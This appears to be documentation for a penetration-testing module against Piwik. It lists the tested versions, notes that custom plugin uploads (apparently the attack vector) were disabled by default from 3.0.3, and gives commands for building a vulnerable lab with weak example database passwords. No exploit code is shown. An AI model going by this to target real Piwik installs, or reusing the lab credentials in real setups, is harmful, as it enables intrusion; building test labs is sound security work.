Vulnerable Application
Piwik can be downloaded from the official site piwik.org. Older builds are also available from builds.piwik.org.
This module was tested with Piwik versions 2.14.0, 2.16.0, 2.17.1 and 3.0.1
Piwik disabled custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you have to enable custom plugin uploads via the config file.
Verification Steps
Install Piwik (Debian/Ubuntu)
-
Install dependencies
sudo apt install apache2 php5 php5-mysql \ libapache2-mod-php5 mariadb-server unzip php5-gd php5-curl -
Download latest version of piwik (or the version of your choice from builds.piwik.org)
wget https://builds.piwik.org/piwik.zip -
Unzip Piwik into webroot
unzip -d /var/www/html/ piwik.zip -
Make the webserver user the owner of piwik
chown -R www-data:www-data /var/www/html/ -
Create a new user and database for piwik. If you want to run multiple versions in parallel use a different database for each install (user is optional). This example assumes your MySQL root password is password
mysql -u root -ppassword -e "CREATE DATABASE piwik;" mysql -u root -ppassword -e "CREATE USER piwik@localhost;" mysql -u root -ppassword -e "SET PASSWORD FOR piwik@localhost=PASSWORD('piwik');" mysql -u root -ppassword -e "GRANT ALL PRIVILEGES ON piwik.* TO piwik@localhost;" mysql -u root -ppassword -e "FLUSH PRIVILEGES;" -
Add a config setting to PHP to stop piwik complaining about it
echo always_populate_raw_post_data=-1 > /etc/php5/apache2/conf.d/99-piwik.ini -
Finally restart Apache HTTPD
service apache2 restart
